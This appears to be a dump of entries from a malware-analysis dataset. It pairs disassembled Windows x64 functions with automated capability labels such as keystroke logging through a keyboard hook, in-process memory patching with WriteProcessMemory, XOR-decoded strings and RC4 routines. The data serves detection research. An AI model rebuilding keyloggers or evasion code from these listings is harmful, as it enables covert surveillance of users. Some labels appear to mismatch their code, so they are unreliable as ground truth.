joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110be
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x140012300
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x1400230a4]
call fcn.1400113ca
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14001109b]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400123b0
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140012384
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac00]
call fcn.140011357
mov eax, edi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.1400111f4
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x14001123a
Capabilities:
Terminate process

Disassembly:
jmp 0x140013860
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112cb
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014bf0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014c10
xor al, al
jmp 0x140014c91
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014c23
xor al, al
jmp 0x140014c91
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014c4d
xor al, al
jmp 0x140014c91
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014c61
xor al, al
jmp 0x140014c91
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014c73
xor al, al
jmp 0x140014c91
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014c8f
xor al, al
jmp 0x140014c91
mov al, 1
add rsp, 0x38
ret
Function at 0x14001139d
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400121f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x1400230a4]
call fcn.1400113ca
mov qword [rbp + 8], 0
lea r8, [0x14001ac10]
lea rdx, str.C:_testlog.txt
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll__wfopen_s]
test eax, eax
jne 0x14001228d
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov r9, qword [rbp + 8]
mov r8, rax
mov edx, 2
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.140011357
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400111f4
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140059a00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor ebp, ebp
mov r12d, r8d
mov esi, ebp
mov r10, rdx
mov rbx, rcx
mov r15d, ebp
cmp byte [rdx + 0xa], sil
jge 0x140059a64
mov ecx, dword [rdx + 0xc]
lea eax, [rcx - 1]
test ecx, eax
je 0x140059a64
mov eax, ecx
shr eax, 1
or ecx, eax
mov eax, ecx
shr eax, 2
or ecx, eax
mov eax, ecx
shr eax, 4
or ecx, eax
mov eax, ecx
shr eax, 8
or ecx, eax
mov eax, ecx
shr eax, 0x10
or eax, ecx
inc eax
jmp 0x140059a67
mov eax, dword [rdx + 0xc]
movzx ecx, byte [rdx + 0xb]
mov r14d, 1
shl r14d, cl
test eax, eax
je 0x140059aad
mov r11, rbp
mov edi, eax
nop dword [rax]
mov rax, qword [r10 + 0x10]
test byte [r11 + rax + 8], 0x40
je 0x140059aa3
mov rdx, qword [r11 + rax]
test byte [rdx + 9], 0x18
je 0x140059aa3
mov rcx, rbx
mov esi, 1
call fcn.140059490
add r11, 0x10
sub rdi, 1
jne 0x140059a80
mov edi, ebp
test r14d, r14d
je 0x140059b4f
nop dword [rax + rax]
mov rdx, qword [r10 + 0x18]
mov ecx, r14d
sub ecx, edi
mov eax, edi
dec ecx
test r12d, r12d
cmovne eax, ecx
lea rcx, [rax + rax*2]
movzx eax, byte [rdx + rcx*8 + 8]
lea r11, [rdx + rcx*8]
movzx ecx, byte [rdx + rcx*8 + 9]
and cl, 0x40
test al, 0xf
jne 0x140059af7
test cl, cl
je 0x140059b44
mov byte [r11 + 9], 0xb
jmp 0x140059b44
test cl, cl
je 0x140059b28
mov rdx, qword [r11 + 0x10]
test rdx, rdx
je 0x140059b28
movzx ecx, byte [rdx + 8]
movzx r8d, byte [rdx + 9]
and cl, 0xf
cmp cl, 4
jne 0x140059b71
test r8b, 0x18
je 0x140059b28
mov rcx, rbx
call fcn.140059490
movzx eax, byte [r11 + 8]
and al, 0x40
test al, al
je 0x140059b44
mov rdx, qword [r11]
test byte [rdx + 9], 0x18
je 0x140059b44
mov rcx, rbx
mov esi, 1
call fcn.140059490
inc edi
cmp edi, r14d
jb 0x140059ac0
cmp byte [rbx + 0x65], 0
jne 0x140059b90
mov rcx, qword [rbx + 0x90]
mov qword [r10 + 0x30], rcx
mov qword [rbx + 0x90], r10
and byte [r10 + 9], 0xc7
jmp 0x140059c06
and al, 0x40
test r8b, 0x18
je 0x140059b2a
mov ebp, 1
test al, al
je 0x140059b44
mov rax, qword [r11]
test byte [rax + 9], 0x18
je 0x140059b44
mov r15d, ebp
jmp 0x140059b44
test r15d, r15d
je 0x140059bae
mov rax, qword [rbx + 0xa0]
mov qword [r10 + 0x30], rax
mov qword [rbx + 0xa0], r10
and byte [r10 + 9], 0xc7
jmp 0x140059c06
test ebp, ebp
je 0x140059bcb
mov rax, qword [rbx + 0xa8]
mov qword [r10 + 0x30], rax
mov qword [rbx + 0xa8], r10
and byte [r10 + 9], 0xc7
jmp 0x140059c06
movzx eax, byte [r10 + 9]
movzx ecx, al
and cl, 7
cmp cl, 5
jne 0x140059bfb
mov rcx, r10
call fcn.1400592f0
mov rcx, qword [rbx + 0x90]
mov qword [rax], rcx
mov qword [rbx + 0x90], r10
and byte [r10 + 9], 0xc7
jmp 0x140059c06
cmp cl, 6
jne 0x140059c06
xor al, 2
mov byte [r10 + 9], al
mov rbx, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140059c30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x20
mov r10, qword [rdx + 0x18]
mov eax, 1
mov rbx, rcx
mov qword [rsp + 0x30], rbp
movzx ecx, byte [rdx + 0xb]
mov r11, rdx
shl eax, cl
cmp byte [rdx + 0xa], 0
cdqe
lea r8, [rax + rax*2]
lea rbp, [r10 + r8*8]
jge 0x140059c94
mov edx, dword [rdx + 0xc]
lea eax, [rdx - 1]
test edx, eax
je 0x140059c94
mov eax, edx
shr eax, 1
or edx, eax
mov eax, edx
shr eax, 2
or edx, eax
mov eax, edx
shr eax, 4
or edx, eax
mov eax, edx
shr eax, 8
or edx, eax
mov eax, edx
shr eax, 0x10
or eax, edx
inc eax
jmp 0x140059c98
mov eax, dword [r11 + 0xc]
xor esi, esi
test eax, eax
je 0x140059ce1
mov qword [rsp + 0x38], rdi
mov r10d, esi
mov edi, eax
nop dword [rax + rax]
mov rax, qword [r11 + 0x10]
test byte [r10 + rax + 8], 0x40
je 0x140059cce
mov rdx, qword [r10 + rax]
test byte [rdx + 9], 0x18
je 0x140059cce
mov rcx, rbx
call fcn.140059490
add r10, 0x10
sub rdi, 1
jne 0x140059cb0
mov r10, qword [r11 + 0x18]
mov rdi, qword [rsp + 0x38]
cmp r10, rbp
jae 0x140059d47
add r10, 9
nop word [rax + rax]
movzx eax, byte [r10 - 1]
movzx ecx, byte [r10]
test al, 0xf
jne 0x140059d08
test cl, 0x40
je 0x140059d3a
mov byte [r10], 0xb
jmp 0x140059d3a
test cl, 0x40
je 0x140059d24
mov rdx, qword [r10 + 7]
test byte [rdx + 9], 0x18
je 0x140059d24
mov rcx, rbx
call fcn.140059490
movzx eax, byte [r10 - 1]
test al, 0x40
je 0x140059d3a
mov rdx, qword [r10 - 9]
test byte [rdx + 9], 0x18
je 0x140059d3a
mov rcx, rbx
call fcn.140059490
add r10, 0x18
lea rax, [r10 - 9]
cmp rax, rbp
jb 0x140059cf0
movzx eax, byte [r11 + 9]
mov rbp, qword [rsp + 0x30]
movzx ecx, al
and cl, 7
cmp cl, 5
jne 0x140059dc3
movzx eax, byte [r11 + 8]
add eax, 0xfffffffb
cmp eax, 0x21
ja case.0x140059d84.9
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x59df4]
mov ecx, dword [rdx + rax*4 + 0x59ddc]
add rcx, rdx
jmp rcx
lea rsi, [r11 + 0x30]
jmp case.0x140059d84.9
lea rsi, [r11 + 0x10]
jmp case.0x140059d84.9
lea rsi, [r11 + 0x48]
jmp case.0x140059d84.9
lea rsi, [r11 + 0x78]
jmp case.0x140059d84.9
lea rsi, [r11 + 0x20]
mov rax, qword [rbx + 0x90]
mov qword [rsi], rax
mov qword [rbx + 0x90], r11
and byte [r11 + 9], 0xc7
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
cmp cl, 6
jne 0x140059dce
xor al, 2
mov byte [r11 + 9], al
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x14005c170
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rdx, r8
je 0x14005c287
push rbx
sub rsp, 0x20
mov qword [rsp + 0x30], rdi
mov r11, r8
lea rdi, [0x140000000]
mov r10, rdx
mov rbx, rcx
movzx edx, byte [r10 + 9]
movzx eax, dl
and al, 7
cmp al, 3
jne case.0x14005c1da.8
xor dl, 7
mov byte [r10 + 9], dl
test dl, 0x20
je case.0x14005c1da.8
movzx eax, byte [r10 + 8]
add eax, 0xfffffffc
cmp eax, 0x22
ja case.0x14005c1da.8
cdqe
movzx eax, byte [rdi + rax + 0x5c29c]
mov ecx, dword [rdi + rax*4 + 0x5c288]
add rcx, rdi
jmp rcx
and dl, 0xe7
or dl, 0x20
mov byte [r10 + 9], dl
jmp case.0x14005c1da.8
mov rcx, qword [r10 + 0x10]
lea rax, [r10 + 0x18]
cmp rcx, rax
je 0x14005c1fd
and dl, 0xc7
jmp 0x14005c203
and dl, 0xe7
or dl, 0x20
mov byte [r10 + 9], dl
test byte [rcx + 8], 0x40
je case.0x14005c1da.8
mov rdx, qword [rcx]
test byte [rdx + 9], 0x18
je case.0x14005c1da.8
mov rcx, rbx
call fcn.140059490
jmp case.0x14005c1da.8
cmp word [r10 + 0xa], 0
jne case.0x14005c1da.5
mov rax, qword [r10 + 0x18]
test rax, rax
je 0x14005c247
test byte [rax + 9], 0x18
je 0x14005c247
mov rdx, rax
mov rcx, rbx
call fcn.140059490
movzx edx, byte [r10 + 9]
and dl, 0xe7
or dl, 0x20
mov byte [r10 + 9], dl
jmp case.0x14005c1da.8
mov rcx, r10
call fcn.1400592f0
mov rcx, qword [rbx + 0x88]
mov qword [rax], rcx
mov qword [rbx + 0x88], r10
and byte [r10 + 9], 0xc7
mov r10, qword [r10]
cmp r10, r11
jne 0x14005c193
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
Function at 0x1400678d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
mov qword [rsp + 0x50], rbx
mov r12, rdx
mov rbx, rcx
call qword [0x14008c7f8]
xor edi, edi
lea r13, [0x14008d6e0]
xorps xmm1, xmm1
mov r10d, edi
mov esi, edi
mov r9d, edi
mov r8, qword [rax]
mov r11d, edi
movsx r14d, byte [r8]
mov qword [r12], rbx
movzx eax, byte [rbx]
test byte [rax + r13 + 1], 8
je 0x14006792f
nop
movzx eax, byte [rbx + 1]
inc rbx
test byte [rax + r13 + 1], 8
jne 0x140067920
mov qword [rsp + 0x58], r15
lea rdx, [rbx + 1]
mov ebp, 1
cmp al, 0x2d
jne 0x140067946
mov r15d, ebp
jmp 0x14006794f
cmp al, 0x2b
mov r15d, edi
cmovne rdx, rbx
cmp byte [rdx], 0x30
mov rbx, qword [rsp + 0x50]
jne 0x140067a88
movzx eax, byte [rdx + 1]
sub al, 0x58
test al, 0xdf
jne 0x140067a88
movsd xmm2, qword [0x1400935e8]
add rdx, 2
nop word [rax + rax]
movzx r8d, byte [rdx]
movsx rcx, r8b
cmp ecx, r14d
jne 0x14006799a
test r11d, r11d
jne 0x1400679ef
mov r11d, ebp
inc rdx
jmp 0x140067980
test byte [r8 + r13 + 1], 0x10
je 0x1400679ef
test r10d, r10d
jne 0x1400679b1
cmp r8b, 0x30
jne 0x1400679b1
inc esi
jmp 0x1400679e2
inc r10d
cmp r10d, 0x1e
jg 0x1400679df
test byte [rcx + r13 + 1], 2
je 0x1400679c7
add ecx, 0xffffffd0
jmp 0x1400679cd
or ecx, 0x20
sub ecx, 0x57
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm2
addsd xmm1, xmm0
jmp 0x1400679e2
inc r9d
test r11d, r11d
je 0x1400679ea
dec r9d
inc rdx
jmp 0x140067980
lea eax, [rsi + r10]
test eax, eax
je 0x140067a88
mov qword [r12], rdx
lea r9d, [r9*4]
movzx eax, byte [rdx]
sub al, 0x50
test al, 0xdf
jne 0x140067a6e
movzx ecx, byte [rdx + 1]
cmp cl, 0x2d
jne 0x140067a20
mov eax, 2
jmp 0x140067a2e
cmp cl, 0x2b
mov rax, rdi
mov ebp, edi
sete al
inc rax
lea r8, [rdx + rax]
movzx edx, byte [rdx + rax]
test byte [rdx + r13 + 1], 2
je 0x140067a88
nop
movsx eax, dl
lea edi, [rdi + rdi*4]
inc r8
lea edi, [rdi - 0x18]
lea edi, [rax + rdi*2]
movzx eax, byte [r8]
movzx edx, al
test byte [rax + r13 + 1], 2
jne 0x140067a40
mov eax, edi
mov qword [r12], r8
neg eax
test ebp, ebp
cmove eax, edi
add r9d, eax
test r15d, r15d
je 0x140067a7a
xorps xmm1, xmmword [0x140093680]
mov edx, r9d
movaps xmm0, xmm1
call qword [0x14008c830]
jmp 0x140067a8b
xorps xmm0, xmm0
mov r15, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140067c00
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x110
mov rax, qword [0x1400a5010]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov r14, rdx
mov rbx, rcx
lea rdx, [rsp + 0x20]
call fcn.140067ab0
mov r9, rax
test rax, rax
je 0x140067c59
mov r8, qword [rsp + 0x20]
mov al, 3
sub r9, rbx
mov qword [r14], r8
mov byte [r14 + 8], al
lea rax, [r9 + 1]
jmp 0x140067dda
lea rdx, str..xXnN
mov rcx, rbx
call qword [0x14008cb60]
test rax, rax
je 0x140067c91
movzx edi, byte [rax]
or edi, 0x20
cmp edi, 0x6e
je 0x140067dd8
cmp edi, 0x78
jne 0x140067c93
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400678d0
jmp 0x140067ca1
xor edi, edi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [0x14008c768]
mov rcx, qword [rsp + 0x20]
lea rbp, [0x14008d6e0]
cmp rcx, rbx
je 0x140067ce5
movzx eax, byte [rcx]
test byte [rax + rbp + 1], 8
je 0x140067cd2
nop dword [rax]
inc rcx
mov qword [rsp + 0x20], rcx
movzx eax, byte [rcx]
test byte [rax + rbp + 1], 8
jne 0x140067cc0
xor r9d, r9d
cmp byte [rcx], r9b
cmove r9, rcx
test r9, r9
jne 0x140067dc4
mov edx, 0x2e
mov rcx, rbx
call qword [0x14008c620]
mov rsi, rax
test rax, rax
je 0x140067dd8
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140067d06
cmp rcx, 0xc8
ja 0x140067dd8
lea rdx, [rsp + 0x30]
mov rcx, rbx
sub rdx, rbx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140067d30
call qword [0x14008c7f8]
sub rsi, rbx
lea rdx, [rsp + 0x20]
mov rcx, qword [rax]
movzx eax, byte [rcx]
lea rcx, [rsp + 0x30]
mov byte [rsp + rsi + 0x30], al
cmp edi, 0x78
jne 0x140067d67
call fcn.1400678d0
jmp 0x140067d6d
call qword [0x14008c768]
mov rcx, qword [rsp + 0x20]
lea rax, [rsp + 0x30]
cmp rcx, rax
je 0x140067dd8
movzx eax, byte [rcx]
test byte [rax + rbp + 1], 8
je 0x140067da2
nop word [rax + rax]
inc rcx
mov qword [rsp + 0x20], rcx
movzx eax, byte [rcx]
test byte [rax + rbp + 1], 8
jne 0x140067d90
xor r9d, r9d
cmp byte [rcx], r9b
cmove r9, rcx
test r9, r9
je 0x140067dd8
lea rcx, [rsp + 0x30]
mov rax, rbx
sub rax, rcx
add r9, rax
test r9, r9
je 0x140067dd8
mov al, 0x13
movsd qword [r14], xmm0
sub r9, rbx
mov byte [r14 + 8], al
lea rax, [r9 + 1]
jmp 0x140067dda
xor eax, eax
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1400890c0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140076db0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
cmp r8, 0x28
ja 0x140076dd5
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.140076c00
movabs rax, 0x7fffffffffffffdf
cmp rdi, rax
jae 0x140076e16
mov rdx, rdi
mov qword [rsp + 0x30], rbx
call fcn.140076b90
mov r8, rdi
mov rdx, rsi
mov rbx, rax
lea rcx, [rax + 0x18]
call fcn.14008a20a
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call fcn.140064a80
int3
Function at 0x7ff6456d8c80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rbx
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x7ff6457cea40]
xor rax, rsp
mov qword [rbp - 8], rax
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.kernel32.dll_OpenProcess]
lea rcx, [0x7ff6457aaee0]
mov r14, rax
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rdx, qword [0x7ff645f8d7a0]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rdx, qword [0x7ff645f8d7b8]
mov rcx, rbx
mov qword [0x7ff645f8d7a8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rdx, qword [0x7ff645f8d7d0]
mov rcx, rbx
mov qword [0x7ff645f8d7c0], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
xor ecx, ecx
mov qword [0x7ff645f8d7d8], rax
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
cmp word [0x7ff6457ac62a], 0
mov rbx, rax
movsd xmm0, qword [0x7ff6457ac620]
mov ecx, dword [0x7ff6457ac628]
movsd qword [rbp - 0x20], xmm0
mov dword [rbp - 0x18], ecx
je 0x7ff6456d8d55
xor word [rbp - 0x1e], 0x36
mov eax, 0x6e
xor word [rbp - 0x1c], 0x37
xor word [rbp - 0x1a], 0x38
xor word [rbp - 0x18], 0x39
xor word [rbp - 0x16], 0x3a
mov word [rbp - 0x20], ax
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x7ff6456d8dbf
cmp word [0x7ff6457ac55a], 0
movsd xmm0, qword [0x7ff6457ac550]
mov eax, dword [0x7ff6457ac558]
movsd qword [rbp - 0x20], xmm0
mov dword [rbp - 0x18], eax
je 0x7ff6456d8da9
xor word [rbp - 0x1e], 0x36
mov eax, 0x4e
xor word [rbp - 0x1c], 0x37
xor word [rbp - 0x1a], 0x38
xor word [rbp - 0x18], 0x39
xor word [rbp - 0x16], 0x3a
mov word [rbp - 0x20], ax
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x7ff6456d8e53
mov qword [rsp + 0x70], rsi
lea rbx, [0x7ff645f8d7a8]
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], r15
xor r15d, r15d
mov esi, r15d
nop
mov r8, qword [rbx + 8]
lea rax, [rbp - 0x10]
mov rdx, qword [rbx]
mov r9d, 0x40
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
mov rdx, qword [rbx]
mov rcx, r14
mov r9, qword [rbx + 8]
mov r8, rdx
mov qword [rsp + 0x20], r15
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov r9d, dword [rbp - 0x10]
mov rcx, r14
mov r8, qword [rbx + 8]
mov edi, eax
mov rdx, qword [rbx]
mov qword [rsp + 0x20], r15
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
test edi, edi
je 0x7ff6456d8e41
inc esi
add rbx, 0x18
cmp esi, 3
jb 0x7ff6456d8de0
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x80]
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.7ff64578c730
add rsp, 0x50
pop r14
pop rbx
pop rbp
ret
Function at 0x7ff6456d9b20
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x7ff6457cea40]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x28]
mov rbx, rcx
mov dword [rsp + 0x28], 0x100
lea rcx, [rsp + 0x30]
xor edi, edi
call qword [sym.imp.advapi32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
test eax, eax
je 0x7ff6456d9b90
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], dil
jne 0x7ff6456d9b80
lea rdx, [rsp + 0x30]
jmp 0x7ff6456d9b9d
mov r8d, 7
lea rdx, [0x7ff6457aaef8]
mov rcx, rbx
call fcn.7ff6456eb030
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.7ff64578c730
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rdi
ret
Function at 0x7ff6456dd0c0
Capabilities:
Enumerate pe sections
Parse pe header
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x170
mov rax, qword [0x7ff6457cea40]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov r15, rcx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x7ff6456dd1c4
mov r12d, 0x5a4d
cmp word [rax], r12w
jne 0x7ff6456dd1c4
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
cmp dword [rdi], 0x4550
jne 0x7ff6456dd1c4
movzx ebx, word [rdi + 0x14]
add rbx, 0x18
mov dword [rsp + 0x40], 0x104
add rbx, rdi
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
lea r9, [rsp + 0x40]
xor edx, edx
mov rcx, rax
lea r8, [rsp + 0x50]
call qword [sym.imp.kernel32.dll_QueryFullProcessImageNameA]
xor esi, esi
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
mov r13d, 1
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, r13d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rbp, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x7ff6456dd1c4
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], esi
mov r8d, 2
mov rcx, rax
call qword [sym.imp.kernel32.dll_CreateFileMappingW]
test rax, rax
jne 0x7ff6456dd1f7
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.7ff64578c730
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov edx, 4
mov rcx, rax
call qword [sym.imp.kernel32.dll_MapViewOfFile]
mov r9, rax
test rax, rax
je 0x7ff6456dd1c4
cmp word [rax], r12w
jne 0x7ff6456dd306
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff6456dd306
mov eax, dword [rdi + 8]
cmp dword [rcx + 8], eax
jne 0x7ff6456dd306
movzx r11d, word [rcx + 6]
cmp r11w, word [rdi + 6]
jne 0x7ff6456dd306
movzx r10d, word [rcx + 0x14]
xor dil, dil
add r10, 0x18
add r10, rcx
cmp si, r11w
jae 0x7ff6456dd2eb
nop word [rax + rax]
mov r8, r15
mov rax, rbx
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x7ff6456dd293
inc rax
test ecx, ecx
jne 0x7ff6456dd280
test edx, edx
jne 0x7ff6456dd2a0
test dword [rbx + 0x24], 0x20000000
jne 0x7ff6456dd2b1
inc esi
add rbx, 0x28
add r10, 0x28
cmp esi, r11d
jl 0x7ff6456dd270
jmp 0x7ff6456dd2eb
mov eax, dword [rbx + 0x10]
test eax, eax
je 0x7ff6456dd2eb
mov r8d, dword [r10 + 0x14]
mov r10d, eax
mov edx, dword [rbx + 0xc]
add rdx, r14
add r8, r9
nop dword [rax + rax]
movzx eax, byte [r8]
lea r8, [r8 + 1]
cmp byte [rdx], al
lea rdx, [rdx + 1]
movzx edi, dil
cmovne edi, r13d
sub r10, r13
jne 0x7ff6456dd2d0
mov rcx, r9
call qword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
movzx eax, dil
jmp 0x7ff6456dd1c6
mov rcx, r9
call qword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
movzx eax, r13b
jmp 0x7ff6456dd1c6